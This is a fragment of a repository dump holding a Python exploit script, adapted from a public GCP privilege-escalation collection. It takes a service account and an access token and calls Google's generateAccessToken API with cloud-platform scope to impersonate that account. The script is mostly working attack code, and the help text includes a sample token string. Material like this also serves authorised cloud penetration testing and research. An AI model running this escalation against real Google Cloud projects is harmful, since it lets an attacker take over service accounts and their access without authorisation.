15 | ## ## ## ##
16 | ## #### ## ########
17 | ## ## ## ##
18 | ## ## ## ## ##
19 | ###### ###### ##
20 |
21 | iam_serviceAccounts_getAccessToken.py
22 |
23 | """
24 |
25 | # Ref: https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py
26 |
27 | sUserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
28 |
29 | print(sBanner)
30 |
31 | # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- #
32 |
33 | # Get the Arguments
34 | parser = ArgumentParser(add_help=True)
35 |
36 | parser.add_argument('service_account',
37 | action="store",
38 | help="[required] e.g.: 919372049334-compute@developer.gserviceaccount.com")
39 | parser.add_argument('access_token',
40 | action="store",
41 | help="[required] e.g.: ya29.c.KmnVB1Q119UvX1g-cv4mXtPKDnnMGkzHSTpiyZWbj-z7nlPc4l6Lg0PiWVWzj4CKhrBvqRNUApSATsvkZ9naCxXJuqA5MBg2a2KpMUXmF0asiFzYJRshg9joJhIAEHMQlLhQyDaqQAUX66Y")
42 |
43 | args = parser.parse_args()
44 |
45 | # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- #
46 |
47 |
48 | sServiceAccountName = str(args.service_account).strip()
49 | sAccessToken = str(args.access_token).strip()
50 |
51 | print("[+] sServiceAccountName: " + str(sServiceAccountName) + "")
52 | print("[+] sAccessToken: " + str(sAccessToken) + "")
53 |
54 | # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- # --- #
55 |
56 | sEnter = raw_input("Press the [Enter] key to continue... ")
57 |
58 | credentials = google.oauth2.credentials.Credentials(sAccessToken)
59 | service = build(serviceName='iamcredentials', version='v1', credentials=credentials)
60 |
61 | dBody = {
62 | 'scope': [
63 | 'https://www.googleapis.com/auth/iam',
64 | 'https://www.googleapis.com/auth/cloud-platform'
65 | ]
66 | }
67 |
68 | sName = 'projects/-/serviceAccounts/'+sServiceAccountName
69 | res = service.projects().serviceAccounts().generateAccessToken(name=sName, body=dBody).execute()
70 |
71 | print(json.dumps(res, indent=4))
--------------------------------------------------------------------------------
/nbvulns003/templates/report.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |